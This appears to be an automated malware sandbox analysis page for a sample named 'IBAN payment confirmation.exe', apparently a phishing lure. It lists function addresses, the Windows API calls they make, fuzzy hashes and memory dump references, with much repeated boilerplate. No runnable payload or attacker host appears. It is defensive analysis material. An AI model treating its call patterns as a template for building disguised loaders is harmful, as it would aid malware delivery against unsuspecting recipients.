C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D
1033, xrefs: 0040334E

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user~1\AppData\Local\Temp\
API String ID: 4115351271-3049706366
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(005220D0), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: EnumErrorLastWindows
String ID:
API String ID: 14984897-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001FB,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
Opcode Fuzzy Hash: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
